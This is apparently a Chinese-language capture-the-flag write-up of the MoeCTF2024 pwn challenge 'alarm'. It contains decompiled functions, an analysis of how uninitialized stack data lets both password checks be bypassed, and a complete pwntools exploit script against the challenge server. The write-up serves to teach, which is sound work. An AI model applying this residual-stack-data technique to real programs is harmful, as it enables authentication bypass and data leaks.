MoeCTF2024_pwn_alarm Writeup
alarm_MoeCTF2024 Writeup
本题来自西电CTF,在此表示对此平台提供题目以及资源的感谢,链接地址:alarm地址
当我一开始看到这题时,脑子有点宕机的,请看Pic:
全副武装,基本和栈溢出是告别了。而作者最熟悉的也就是栈溢出了,但是问题不大,学习就是这样的,成功只是偶尔,失败才是探索路上的伴侣。
代码审计&程序,漏洞分析
- 前面看过不是栈溢出了,那直接分析代码吧。丢尽IDA后:
看到有四个函数,似乎down是给出正确密码的结果输出,直接看一眼,很明显,确实是的:
write(1, "[Info] Passwords correct. Alarm shut down.\n", 0x2BuLL);
stream = fopen("flag", "r");
lineptr = 0LL;
n = 0LL;
getline(&lineptr, &n, stream); # 读取./flag的第一行内容,并输出
puts(lineptr);
return v4 - __readfsqword(0x28u);
- 那么我们再看看怎么通过解密吧,先按照顺序看看上面的三个函数,首先是beep():
unsigned __int64 beep(){
int v2; // [rsp+0h] [rbp-50h]
char v3[62]; // [rsp+4h] [rbp-4Ch] BYREF
_WORD v4[7]; // [rsp+42h] [rbp-Eh] BYREF
*(_QWORD *)&v4[3] = __readfsqword(0x28u);
v2 = (arc4random() & 3) + 1;
while ( v2-- ){
set_alarm_str(v3);
strcpy((char *)v4, "\n");
fputs(v3, stdout);
fflush(stdout);
sleep(1u);
}
return *(_QWORD *)&v4[3] - __readfsqword(0x28u);
}
发现还有一个set_alarm_str()函数,似乎是密钥的生成函数,看一下:
void __fastcall set_alarm_str(__int64 a1){
int i; // [rsp+18h] [rbp-8h]
int v2; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i <= 7; ++i ){
v2 = 8 * i;
*(_BYTE *)(a1 + v2) = pool_b[arc4random() & 3];
*(_BYTE *)(a1 + v2 + 1LL) = pool_e[arc4random() & 3];
*(_BYTE *)(a1 + v2 + 2LL) = pool_e[arc4random() & 3];
*(_BYTE *)(a1 + v2 + 3LL) = pool_p[arc4random() & 3];
*(_BYTE *)(a1 + v2 + 4LL) = pool_1[(unsigned int)arc4random() % 3];
*(_BYTE *)(a1 + v2 + 5LL) = pool_1[(unsigned int)arc4random() % 3];
*(_BYTE *)(v2 + 6LL + a1) = 7;
*(_BYTE *)(v2 + 7LL + a1) = 32;
}
}
查看它的pool_e等数组,不难发现,它其实是一个类似洗牌的效果,洗牌的次数随机,但是结果都是在某种范围内的,不过由于随机性,我们基本不能预测到。不过它洗牌的结果只选择最后一次(覆写v3)。不管它,继续看下去吧。
- 看看voice_pwd()函数:
unsigned __int64 voice_pwd(){
char s2[16]; // [rsp+0h] [rbp-30h] BYREF
char v2[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
write(1, "[Error] Voice password not initialized!\n", 0x28uLL);
write(1, "[Warn] Using auto generated password.\n", 0x26uLL);
write(1, "[Info] Speak out the voice password.\n", 0x25uLL);
s2[15] = 0;
len = read(0, v2, 0x17uLL);
if ( len <= 0 ){
write(1, "[FATAL] Password incorrect! Beep again...\n", 0x2AuLL);
_exit(1);
}
v2[len] = 0;
if ( strcmp(v2, s2) ){
write(1, "[FATAL] Password incorrect! Beep again...\n", 0x2AuLL);
_exit(1);
}
write(1, "[Info] Voice password correct.\n", 0x1FuLL);
return v3 - __readfsqword(0x28u);
}
让人很迷惑的是:s2似乎没有初始化,那么它要验证的数据是?没错就是栈残留的数据。那么我们只需要拿到栈上残留的数据,再进行输入给v2就能cmp成功。怎么拿到呢?先不妨看看它的栈地址:rbp-30h,我们之前记得beep()和voice_pwd()函数是同一层(main的直接子节点),所以它们的rbp是相同的,只是rsp不同,所以可以通过计算地址拿到对应的数据,输入给v2即可。同时值得我们注意的是v2做了一个截断处理: v2[len] = 0;这似乎是为了能通过strcmp,不过它为什么给了24B空间而不是像s2一样给16B呢?应该是后续的输入还有作用。不管了,先看看别的函数吧。
4. 看看num_pwd()
unsigned __int64 num_pwd(){
__int64 v1[2]; // [rsp+8h] [rbp-18h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
write(1, "[Error] Numeric password not initialized!\n", 0x2AuLL);
write(1, "[Warn] Using auto generated password.\n", 0x26uLL);
write(1, "[Info] Input the numeric password.\n", 0x23uLL);
__isoc99_scanf("%zu", v1);
if ( v1[0] > 0x1869FuLL || v1[0] <= 0x270FuLL || v1[1] != v1[0] ){
write(1, "[FATAL] Password incorrect! Beep again...\n", 0x2AuLL);
_exit(1);
}
write(1, "[Info] Numeric password correct.\n", 0x21uLL);
return v2 - __readfsqword(0x28u);
}
它对我们的输入做了一个比较:0x1879F <= v1[0] == v1[1] <= 0x270F,通过print我们可以发现这其实是让我们输入两个一样的5位数:
However,它没给我们输入两个数的机会:scanf("%zu",v1); 格式化输入%zu会限定我们输入,不会写到v1[1]去,那么怎么使得v1[1]也写入数据呢?不可能指望未初始化的v1[1] == v1[0]的。
是的,就是栈数据遗留数据:__int64 v1[2]; // [rsp+8h] [rbp-18h] ,我们可以看到,它的地址和函数的调用位置,说明它可以利用上一个函数对栈写入特定数据,从而通过验证。而voice_pwd()函数给了那么一个写入位置
char v2[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
那么通过写入v2的末端的8B就可以了。这里解释一下为什么v2是char类型,而v1是__int64类型却可以使得相等?其实对于IDA来说,它并不能准确的解析出变量的类型,4B的变量是float还是int它并不能分析出来。我们也要灵活的使用内存,而不是仅限于而char数组对我们来说可以理解为有符号的字节数组,一样可以存放数值,只要按照一定的数值写入方式就可以保证它的输出,如:p64(12345)就会得到39 30 00 00 00 00 00 0a
这个值在程序运行时,就会读取为12345。
Exploit设计
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
# p = process('./alarm')
p = remote("IP",52786)
# 它一直在覆写v3,只需要记住最后一个v3即可
line_v3 = bytes()
while True:
tmp = p.recvline()
if b"[Error]" in tmp :
break
line_v3 = tmp
# 对真正要进行的对比的地方保留,对后续要进行对比的Numric进行写入,注意只有23B
passwd = line_v3[28:28+15]
paylaod = passwd + b'\x00' + p64(12345)[:7]
p.sendlineafter(b'voice password.\n',paylaod)
p.sendlineafter(b'numeric password.\n',b'12345')
p.interactive()
为什么它会存在这样的Vulnerable?
- 没有做栈资源清除,有栈遗留数据可被利用,即Stack-based Residual Data Leak。
- 设计的函数层次都在main调用,如果它能设计更加复杂的结构或是利用别的方式调用函数,避免rbp都在一个位置,那么要进行资源利用的难度就会大幅度上升,甚至无法利用。
- 在使用strcmp时使用0截断辅助而不是使用strncmp将提高程序风险,用可以通过0来截断判断,但不能截断输入。
这类栈数据遗留泄露的利用点:
- 密码,密钥泄露
- 校验绕过
- 数据泄露
- 辅助进行ROP/fake Struct攻击